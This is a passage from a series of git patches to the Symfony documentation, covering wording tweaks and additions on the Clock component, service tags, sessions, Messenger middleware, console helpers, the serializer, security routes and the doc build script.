+pass an invalid timezone, you'll get a ``DateInvalidTimeZoneException``::
 
     $userInput = 'invalid timezone';
 
@@ -283,9 +281,9 @@ used::
         // ...
     }
 
-Thanks to the `symfony/polyfill-php83`_ dependency required by the Clock
-component, you don't even need to run PHP 8.3 to enjoy these new explicit
-and consistent exceptions when using the Clock component.
+These exceptions are available starting from PHP 8.3. However, thanks to the
+`symfony/polyfill-php83`_ dependency required by the Clock component, you can
+use them even if your project doesn't use PHP 8.3 yet.
 
 .. versionadded:: 6.4
 
@@ -294,5 +292,5 @@ and consistent exceptions when using the Clock component.
 
 .. _`PSR-20`: https://www.php-fig.org/psr/psr-20/
 .. _`accepted by the DateTime constructor`: https://www.php.net/manual/en/datetime.formats.php
-.. _`the new DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
+.. _`PHP DateTime exceptions`: https://wiki.php.net/rfc/datetime-exceptions
 .. _`symfony/polyfill-php83`: https://github.com/symfony/polyfill-php83

From bedfda03ff68cb74d6bdf563026d2c4ad08e63a7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 5 Sep 2023 17:17:31 +0200
Subject: [PATCH 3765/5766] Tweak

---
 service_container/tags.rst | 13 ++++++-------
 1 file changed, 6 insertions(+), 7 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 5446a5aed16..6f85af4a945 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -214,8 +214,8 @@ method::
         }
     }
 
-To go even further, the ``SensitiveElement`` attribute can be updated to be
-usable on methods::
+You can also make attributes usable on methods. To do so, update the previous
+example and add ``Attribute::TARGET_METHOD`::
 
     // src/Attribute/SensitiveElement.php
     namespace App\Attribute;
@@ -226,9 +226,8 @@ usable on methods::
         // ...
     }
 
-We should now update the call to
-:method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
-to support ``ReflectionMethod``::
+Then, update the :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
+call to support ``ReflectionMethod``::
 
     // src/Kernel.php
     use App\Attribute\SensitiveElement;
@@ -244,7 +243,7 @@ to support ``ReflectionMethod``::
             $container->registerAttributeForAutoconfiguration(SensitiveElement::class, static function (
                 ChildDefinition $definition,
                 SensitiveElement $attribute,
-                // we update the union type to support multiple type of reflection
+                // update the union type to support multiple types of reflection
                 // you can also use the "\Reflector" interface
                 \ReflectionClass|\ReflectionMethod $reflector): void {
                     if ($reflection instanceof \ReflectionMethod) {
@@ -258,7 +257,7 @@ to support ``ReflectionMethod``::
 .. tip::
 
     You can also define an attribute to be usable on properties and parameters with
-    ``Attribute::TARGET_PROPERTY`` and ``Attribute::TARGET_PARAMETER``, then support
+    ``Attribute::TARGET_PROPERTY`` and ``Attribute::TARGET_PARAMETER``; then support
     ``ReflectionProperty`` and ``ReflectionParameter`` in your
     :method:`Symfony\\Component\\DependencyInjection\\ContainerBuilder::registerAttributeForAutoconfiguration`
     callable.

From c1f88e64444d11f1fbb4f825fe031c9406e201b6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 5 Sep 2023 20:47:43 +0200
Subject: [PATCH 3766/5766] Document session cookie in response

---
 session.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/session.rst b/session.rst
index 25e4c7135a8..1a4d26d767c 100644
--- a/session.rst
+++ b/session.rst
@@ -403,6 +403,13 @@ Check out the Symfony config reference to learn more about the other available
     ``session.auto_start = 1`` This directive should be turned off in
     ``php.ini``, in the web server directives or in ``.htaccess``.
 
+Session cookie is available in the ``Response`` object. It's useful in the CLI context
+or php runtime with runners like Roadrunner or Swoole.
+
+.. versionadded:: 5.4
+
+    Accessing to the session cookie in the ``Response`` object was introduced in Symfony 5.4.
+
 Session Idle Time/Keep Alive
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 001da1545e8bb615d8890bcfe271fd14315adc7e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 5 Sep 2023 21:08:01 +0200
Subject: [PATCH 3767/5766] Document middleware to log when transaction has
 been left open

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index b3840f77344..2ef0e916604 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2441,6 +2441,10 @@ may want to use:
                             # in any handler will cause a rollback
                             - doctrine_transaction
 
+                            # Log an error when a Doctrine transaction was opened but
+                            # did not closed
+                            - doctrine_open_transaction_logger
+
                             # or pass a different entity manager to any
                             #- doctrine_transaction: ['custom']
 
@@ -2462,6 +2466,7 @@ may want to use:
                         <framework:middleware id="doctrine_transaction"/>
                         <framework:middleware id="doctrine_ping_connection"/>
                         <framework:middleware id="doctrine_close_connection"/>
+                        <framework:middleware id="doctrine_open_transaction_logger"/>
 
                         <!-- or pass a different entity manager to any -->
                         <!--
@@ -2486,6 +2491,7 @@ may want to use:
             $bus->middleware()->id('doctrine_transaction');
             $bus->middleware()->id('doctrine_ping_connection');
             $bus->middleware()->id('doctrine_close_connection');
+            $bus->middleware()->id('doctrine_open_transaction_logger');
             // Using another entity manager
             $bus->middleware()->id('doctrine_transaction')
                 ->arguments(['custom']);

From 549bbe29e19ffcd311399155a6bb3c0a9e410db1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 6 Sep 2023 12:54:16 +0200
Subject: [PATCH 3768/5766] [Best Practices] Update directory structure

---
 bundles/best_practices.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index e622cfd243f..f5f2a0c32a1 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -63,6 +63,7 @@ The following is the recommended directory structure of an AcmeBlogBundle:
 .. code-block:: text
 
     <your-bundle>/
+    ├── assets/
     ├── config/
     ├── docs/
     │   └─ index.md
@@ -122,6 +123,7 @@ Doctrine ODM documents                               ``src/Document/``
 Event Listeners                                      ``src/EventListener/``
 Configuration (routes, services, etc.)               ``config/``
 Web Assets (CSS, JS, images)                         ``public/``
+Web Assets not meant to be publicly available        ``assets/``
 Translation files                                    ``translations/``
 Validation (when not using annotations)              ``config/validation/``
 Serialization (when not using annotations)           ``config/serialization/``

From f586a3c36aaf6a31c30ec0354e4e12846e16b938 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 13:00:45 +0200
Subject: [PATCH 3769/5766] Tweaks

---
 messenger.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 2ef0e916604..3584db083bd 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2441,8 +2441,7 @@ may want to use:
                             # in any handler will cause a rollback
                             - doctrine_transaction
 
-                            # Log an error when a Doctrine transaction was opened but
-                            # did not closed
+                            # logs an error when a Doctrine transaction was opened but not closed
                             - doctrine_open_transaction_logger
 
                             # or pass a different entity manager to any
@@ -2497,6 +2496,10 @@ may want to use:
                 ->arguments(['custom']);
         };
 
+.. versionadded:: 5.4
+
+    The ``doctrine_open_transaction_logger`` middleware was introduced in Symfony 5.4.
+
 Other Middlewares
 ~~~~~~~~~~~~~~~~~
 

From 0ed7e9a07a7b9847b467fee361e52fe7e34b9257 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 13:01:39 +0200
Subject: [PATCH 3770/5766] Remove a versionadded directive

---
 messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 74d0a90ed52..9e087d2cdfe 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2451,10 +2451,6 @@ may want to use:
                 ->arguments(['custom']);
         };
 
-.. versionadded:: 5.4
-
-    The ``doctrine_open_transaction_logger`` middleware was introduced in Symfony 5.4.
-
 Other Middlewares
 ~~~~~~~~~~~~~~~~~
 

From 3729e295da2d1950a6dea73611a73ef6725fee7e Mon Sep 17 00:00:00 2001
From: damien-louis <72412142+damien-louis@users.noreply.github.com>
Date: Wed, 6 Sep 2023 09:33:48 +0200
Subject: [PATCH 3771/5766] Update overview.rst

---
 contributing/documentation/overview.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 90e2a109419..4bc8a818bad 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -21,18 +21,19 @@ If you're making a relatively small change - like fixing a typo or rewording
 something - the easiest way to contribute is directly on GitHub! You can do this
 while you're reading the Symfony documentation.
 
-**Step 1.** Click on the **edit this page** button on the upper right corner
+**Step 1.** Click on the **edit this page** button on the top of the page
 and you'll be redirected to GitHub:
 
 .. image:: /_images/contributing/docs-github-edit-page.png
     :alt: The "Edit this page" button is located directly below the first heading.
     :class: with-browser
 
-**Step 2.** Edit the contents, describe your changes and click on the
-**Propose file change** button.
+**Step 2.** If this is your first contribution, you have to fork the repository.
+Then, edit the contents, preview your changes (with the button at the top left)
+and click on the **Commit changes...** button. In the popup, describe your changes
+and click on **Propose changes** button.
 
-**Step 3.** GitHub will now create a branch and a commit for your changes
-(forking the repository first if this is your first contribution) and it will
+**Step 3.** GitHub will now create a branch and a commit for your changes and it will
 also display a preview of your changes:
 
 .. image:: /_images/contributing/docs-github-create-pr.png

From 794d304fe931b3ddbe6fc4d2a1a7c22f809a4842 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 14:49:25 +0200
Subject: [PATCH 3772/5766] Tweaks

---
 session.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/session.rst b/session.rst
index 1a4d26d767c..18b28165ca8 100644
--- a/session.rst
+++ b/session.rst
@@ -403,12 +403,14 @@ Check out the Symfony config reference to learn more about the other available
     ``session.auto_start = 1`` This directive should be turned off in
     ``php.ini``, in the web server directives or in ``.htaccess``.
 
-Session cookie is available in the ``Response`` object. It's useful in the CLI context
-or php runtime with runners like Roadrunner or Swoole.
+The session cookie is also available in :ref:`the Response object <component-http-foundation-response>`.
+This is useful to get that cookie in the CLI context or when using PHP runners
+like Roadrunner or Swoole.
 
 .. versionadded:: 5.4
 
-    Accessing to the session cookie in the ``Response`` object was introduced in Symfony 5.4.
+    Accessing to the session cookie in the ``Response`` object was introduced
+    in Symfony 5.4.
 
 Session Idle Time/Keep Alive
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 13e9f31722091677188202303221542c989e73a6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 15:23:11 +0200
Subject: [PATCH 3773/5766] Tweaks

---
 bundles.rst                | 8 ++++----
 bundles/best_practices.rst | 4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index 34b6e644d46..918ed20d647 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -84,7 +84,7 @@ between all Symfony bundles. It follows a set of conventions, but is flexible
 to be adjusted if needed:
 
 ``Controller/``
-    Contains the controllers of the bundle (e.g. ``RandomController.php``).
+    the controllers of the bundle (e.g. ``RandomController.php``).
 
 ``DependencyInjection/``
     Holds certain Dependency Injection Extension classes, which may import service
@@ -98,9 +98,9 @@ to be adjusted if needed:
     Holds templates organized by controller name (e.g. ``Random/index.html.twig``).
 
 ``Resources/public/``
-    Contains web assets (images, stylesheets, etc) and is copied or symbolically
-    linked into the project ``public/`` directory via the ``assets:install`` console
-    command.
+    Contains web assets (images, compiled CSS nad JavaScript files, etc.) and is
+    copied or symbolically linked into the project ``public/`` directory via the
+    ``assets:install`` console command.
 
 ``Tests/``
     Holds all tests for the bundle.
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index f5f2a0c32a1..82aa3d9415b 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -122,8 +122,8 @@ Doctrine ORM entities                                ``src/Entity/``
 Doctrine ODM documents                               ``src/Document/``
 Event Listeners                                      ``src/EventListener/``
 Configuration (routes, services, etc.)               ``config/``
-Web Assets (CSS, JS, images)                         ``public/``
-Web Assets not meant to be publicly available        ``assets/``
+Web Assets (compiled CSS and JS, images)             ``public/``
+Web Asset sources (``.scss``, ``.ts``, Stimulus)     ``assets/``
 Translation files                                    ``translations/``
 Validation (when not using annotations)              ``config/validation/``
 Serialization (when not using annotations)           ``config/serialization/``

From 4a1f34a579d7484860c48f8bea55f6817fb32915 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 15:29:11 +0200
Subject: [PATCH 3774/5766] Fix typo

---
 bundles.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/bundles.rst b/bundles.rst
index 918ed20d647..dba4b30e441 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -98,7 +98,7 @@ to be adjusted if needed:
     Holds templates organized by controller name (e.g. ``Random/index.html.twig``).
 
 ``Resources/public/``
-    Contains web assets (images, compiled CSS nad JavaScript files, etc.) and is
+    Contains web assets (images, compiled CSS and JavaScript files, etc.) and is
     copied or symbolically linked into the project ``public/`` directory via the
     ``assets:install`` console command.
 

From d5b5877a49dbf7477660a6992bb67d7987f8192b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 6 Sep 2023 15:36:57 +0200
Subject: [PATCH 3775/5766] [Command] Helpers uses `stderr` by default

---
 components/console/helpers/processhelper.rst  | 8 ++++++++
 components/console/helpers/progressbar.rst    | 8 ++++++++
 components/console/helpers/questionhelper.rst | 8 ++++++++
 3 files changed, 24 insertions(+)

diff --git a/components/console/helpers/processhelper.rst b/components/console/helpers/processhelper.rst
index f4c2ed93756..875b48ab3f8 100644
--- a/components/console/helpers/processhelper.rst
+++ b/components/console/helpers/processhelper.rst
@@ -31,6 +31,14 @@ In case the process fails, debugging is easier:
 .. image:: /_images/components/console/process-helper-error-debug.png
     :alt: The last line shows "RES 127 Command dit not run successfully", and the output lines show more the error information from the command.
 
+.. note::
+
+    By default, the process helper uses the error output (``stderr``) as
+    its default output. This behavior can be changed by passing an instance of
+    :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the
+    :method:`Symfony\\Component\\Console\\Helper\\ProcessHelper::run`
+    method.
+
 Arguments
 ---------
 
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index fa1052d5c1f..827ce1973dd 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -44,6 +44,14 @@ number of units, and advance the progress as the command executes::
     ``$progress->advance()`` with a negative value. For example, if you call
     ``$progress->advance(-2)`` then it will regress the progress bar 2 steps.
 
+.. note::
+
+    By default, the progress bar helper uses the error output (``stderr``) as
+    its default output. This behavior can be changed by passing an instance of
+    :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the
+    :class:`Symfony\\Component\\Console\\Helper\\ProgressBar`
+    constructor.
+
 Instead of advancing the bar by a number of steps (with the
 :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::advance` method),
 you can also set the current progress by calling the
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 07cc75877b5..7a78688e259 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -72,6 +72,14 @@ the second argument is not provided, ``true`` is assumed.
 
     The regex defaults to ``/^y/i``.
 
+.. note::
+
+    By default, the question helper uses the error output (``stderr``) as
+    its default output. This behavior can be changed by passing an instance of
+    :class:`Symfony\\Component\\Console\\Output\\StreamOutput` to the
+    :method:`Symfony\\Component\\Console\\Helper\\QuestionHelper::ask`
+    method.
+
 Asking the User for Information
 -------------------------------
 

From 23d2d418dd970b06148015bca04bc95946d1a187 Mon Sep 17 00:00:00 2001
From: Mathieu <mathieu.lechat@les-tilleuls.coop>
Date: Thu, 2 Feb 2023 14:40:43 +0100
Subject: [PATCH 3776/5766] [Messenger] Mention passing arguments to abstract
 definition

---
 messenger.rst | 37 ++++++++++++++++++++++++-------------
 1 file changed, 24 insertions(+), 13 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 3584db083bd..db7e186fe9e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2343,7 +2343,10 @@ a message is received via the worker (for messages that were sent to a transport
 to be handled asynchronously). Keep this in mind if you create your own middleware.
 
 You can add your own middleware to this list, or completely disable the default
-middleware and *only* include your own:
+middleware and *only* include your own.
+
+If a middleware service is abstract, you can configure its constructor's arguments.
+A different instance will be created per bus.
 
 .. configuration-block::
 
@@ -2357,9 +2360,11 @@ middleware and *only* include your own:
                         # disable the default middleware
                         default_middleware: false
 
-                        # and/or add your own
                         middleware:
-                            # service ids that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface
+                            # use and configure parts of the default middleware you want
+                            - 'add_bus_name_stamp_middleware': ['messenger.bus.default']
+
+                            # add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface
                             - 'App\Middleware\MyMiddleware'
                             - 'App\Middleware\AnotherMiddleware'
 
@@ -2379,11 +2384,17 @@ middleware and *only* include your own:
             <framework:config>
                 <framework:messenger>
                     <!-- default-middleware: disable the default middleware -->
-                    <framework:bus name="messenger.bus.default" default-middleware="false"/>
+                    <framework:bus name="messenger.bus.default" default-middleware="false">
 
-                    <!-- and/or add your own -->
-                    <framework:middleware id="App\Middleware\MyMiddleware"/>
-                    <framework:middleware id="App\Middleware\AnotherMiddleware"/>
+                        <!-- use and configure parts of the default middleware you want -->
+                        <framework:middleware id="add_bus_name_stamp_middleware">
+                            <framework:argument>messenger.bus.default</framework:argument>
+                        </framework:middleware>
+
+                        <!-- add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface -->
+                        <framework:middleware id="App\Middleware\MyMiddleware"/>
+                        <framework:middleware id="App\Middleware\AnotherMiddleware"/>
+                    </framework:bus>
                 </framework:messenger>
             </framework:config>
         </container>
@@ -2397,16 +2408,16 @@ middleware and *only* include your own:
             $messenger = $framework->messenger();
 
             $bus = $messenger->bus('messenger.bus.default')
-                ->defaultMiddleware(false);
+                ->defaultMiddleware(false); // disable the default middleware
+
+            // use and configure parts of the default middleware you want
+            $bus->middleware()->id('add_bus_name_stamp_middleware')->arguments(['messenger.bus.default']);
+
+            // add your own services that implement Symfony\Component\Messenger\Middleware\MiddlewareInterface
             $bus->middleware()->id('App\Middleware\MyMiddleware');
             $bus->middleware()->id('App\Middleware\AnotherMiddleware');
         };
 
-.. note::
-
-    If a middleware service is abstract, a different instance of the service will
-    be created per bus.
-
 .. _middleware-doctrine:
 
 Middleware for Doctrine

From c7e07102325ab289cc21fed2c9f8f6bf1ec4b9ac Mon Sep 17 00:00:00 2001
From: Mathieu <math.lechat@gmail.com>
Date: Fri, 3 Feb 2023 11:30:20 +0100
Subject: [PATCH 3777/5766] Update messenger.rst

Co-authored-by: Oskar Stark <oskarstark@googlemail.com>
---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index db7e186fe9e..d129d0f13e2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2345,8 +2345,8 @@ to be handled asynchronously). Keep this in mind if you create your own middlewa
 You can add your own middleware to this list, or completely disable the default
 middleware and *only* include your own.
 
-If a middleware service is abstract, you can configure its constructor's arguments.
-A different instance will be created per bus.
+If a middleware service is abstract, you can configure its constructor's arguments
+and a different instance will be created per bus.
 
 .. configuration-block::
 

From dc2d0481cdfc652d0fc54f34311bc29c95e3be0f Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Wed, 24 May 2023 18:23:09 +0200
Subject: [PATCH 3778/5766] [DependencyInjection] Warns `instanceof` should be
 called before services registration

---
 service_container/tags.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 6f85af4a945..0cb8974b8d1 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -113,6 +113,11 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
+.. caution::
+
+    If you're using PHP, you need to call ``instanceof`` before any service
+    registration to make sure tags are correctly applied.
+
 It is also possible to use the ``#[AutoconfigureTag]`` attribute directly on the
 base class or interface::
 

From 80a251025605c69356a340679d17e4da0529f26d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 6 Sep 2023 17:15:38 +0200
Subject: [PATCH 3779/5766] Tweak

---
 service_container/tags.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 0cb8974b8d1..92303bcd40b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -115,8 +115,8 @@ If you want to apply tags automatically for your own services, use the
 
 .. caution::
 
-    If you're using PHP, you need to call ``instanceof`` before any service
-    registration to make sure tags are correctly applied.
+    If you're using PHP configuration, you need to call ``instanceof`` before
+    any service registration to make sure tags are correctly applied.
 
 It is also possible to use the ``#[AutoconfigureTag]`` attribute directly on the
 base class or interface::

From a3609cc387c932eb0bd5a2cd0fb82b003ecd6a39 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Sep 2023 09:24:57 +0200
Subject: [PATCH 3780/5766] [Serializer] Remove abstract uid denormalization

---
 components/serializer.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 2826a6773d4..745f6d52bce 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -873,7 +873,7 @@ The Serializer component provides several built-in normalizers:
     Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that implement
+    This normalizer converts objects that extends
     :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
     The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
     is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
@@ -886,6 +886,11 @@ The Serializer component provides several built-in normalizers:
     Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
     or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
 
+    .. deprecated:: 6.1
+
+        Trying to denormalize to the ``AbstractUid`` class is deprecated since
+        Symfony 6.1, a subclass of ``AbstractUid`` must be used instead.
+
 .. note::
 
     You can also create your own Normalizer to use another structure. Read more at

From c7638694054d0b7752b8dcfb6e90ad9f942272cb Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 7 Sep 2023 09:29:00 +0200
Subject: [PATCH 3781/5766] [Session] Remove old versionadded

---
 session.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/session.rst b/session.rst
index ba6125bd0bd..cbcc4a7a305 100644
--- a/session.rst
+++ b/session.rst
@@ -404,11 +404,6 @@ The session cookie is also available in :ref:`the Response object <component-htt
 This is useful to get that cookie in the CLI context or when using PHP runners
 like Roadrunner or Swoole.
 
-.. versionadded:: 5.4
-
-    Accessing to the session cookie in the ``Response`` object was introduced
-    in Symfony 5.4.
-
 Session Idle Time/Keep Alive
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From f69733b323843f1d0907c0a0db7ae12e45aff783 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 10:45:55 +0200
Subject: [PATCH 3782/5766] Tweaks

---
 components/serializer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 745f6d52bce..d56dece2d21 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -873,7 +873,7 @@ The Serializer component provides several built-in normalizers:
     Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that extends
+    This normalizer converts objects that extend
     :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
     The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
     is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
@@ -889,7 +889,7 @@ The Serializer component provides several built-in normalizers:
     .. deprecated:: 6.1
 
         Trying to denormalize to the ``AbstractUid`` class is deprecated since
-        Symfony 6.1, a subclass of ``AbstractUid`` must be used instead.
+        Symfony 6.1; a subclass of ``AbstractUid`` must be used instead.
 
 .. note::
 

From a156c316ce7177a798449502248733f55ab17d51 Mon Sep 17 00:00:00 2001
From: rschillinger <70899772+rschillinger@users.noreply.github.com>
Date: Wed, 6 Sep 2023 17:32:48 +0200
Subject: [PATCH 3783/5766] Modify method on route logout in security.rst

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 1299f2337b3..5e9d1393a79 100644
--- a/security.rst
+++ b/security.rst
@@ -1705,7 +1705,7 @@ Next, you need to create a route for this URL (but not a controller):
 
         class SecurityController extends AbstractController
         {
-            #[Route('/logout', name: 'app_logout', methods: ['POST'])]
+            #[Route('/logout', name: 'app_logout', methods: ['GET'])]
             public function logout()
             {
                 // controller can be blank: it will never be called!

From 0453493150efc481826d76e931eb82aaab44cf01 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 12:45:28 +0200
Subject: [PATCH 3784/5766] Update the route method in some config examples

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 5e9d1393a79..c03bb108625 100644
--- a/security.rst
+++ b/security.rst
@@ -1718,7 +1718,7 @@ Next, you need to create a route for this URL (but not a controller):
         # config/routes.yaml
         app_logout:
             path: /logout
-            methods: POST
+            methods: GET
 
     .. code-block:: xml
 
@@ -1729,7 +1729,7 @@ Next, you need to create a route for this URL (but not a controller):
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="app_logout" path="/logout" methods="POST"/>
+            <route id="app_logout" path="/logout" methods="GET"/>
         </routes>
 
     .. code-block:: php
@@ -1739,7 +1739,7 @@ Next, you need to create a route for this URL (but not a controller):
 
         return function (RoutingConfigurator $routes) {
             $routes->add('app_logout', '/logout')
-                ->methods(['POST'])
+                ->methods(['GET'])
             ;
         };
 

From bfd103e8e1bee850a50b089d5f2bfce641acbf8a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 15:40:23 +0200
Subject: [PATCH 3785/5766] [Security] Add a comment about
 PasswordUpgraderInterface

---
 security.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security.rst b/security.rst
index 0dbc77f35c8..51903e9e207 100644
--- a/security.rst
+++ b/security.rst
@@ -442,6 +442,12 @@ the database::
         }
     }
 
+.. note::
+
+    If your user class is a Doctrine entity and you hash user passwords, the
+    repository class related to the user class must implement the
+    :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`.
+
 .. tip::
 
     The ``make:registration-form`` maker command can help you set-up the

From 080f8df9e02b36fa46bfdac8a9d735b63abf28f2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 16:10:18 +0200
Subject: [PATCH 3786/5766] Fix the local doc build

---
 _build/build.php | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/_build/build.php b/_build/build.php
index 897fd8dac20..be2fb062a77 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -52,7 +52,14 @@
             foreach (new RegexIterator($iterator, '/^.+\.html$/i', RegexIterator::GET_MATCH) as $match) {
                 $htmlFilePath = array_shift($match);
                 $htmlContents = file_get_contents($htmlFilePath);
-                file_put_contents($htmlFilePath, str_replace('<head>', '<head><base href="/">', $htmlContents));
+
+                $htmlRelativeFilePath = str_replace($outputDir.'/', '', $htmlFilePath);
+                $subdirLevel = substr_count($htmlRelativeFilePath, '/');
+                $baseHref = str_repeat('../', $subdirLevel);
+
+                $htmlContents = str_replace('<head>', '<head><base href="'.$baseHref.'">', $htmlContents);
+                $htmlContents = str_replace('<img src="/_images/', '<img src="_images/', $htmlContents);
+                file_put_contents($htmlFilePath, $htmlContents);
             }
 
             foreach (new RegexIterator($iterator, '/^.+\.css/i', RegexIterator::GET_MATCH) as $match) {

From 8646be7b81df58ec1c7d4ab41dfd58bb73afb356 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 7 Sep 2023 17:54:15 +0200
Subject: [PATCH 3787/5766] [Cache] Mention some details about
 cache.adapter.system

---
 cache.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/cache.rst b/cache.rst
index fd8e0d225af..b84bbb6f019 100644
--- a/cache.rst
+++ b/cache.rst
@@ -50,6 +50,8 @@ of:
     Redis and Memcached are examples of such adapters. If a DSN is used as the
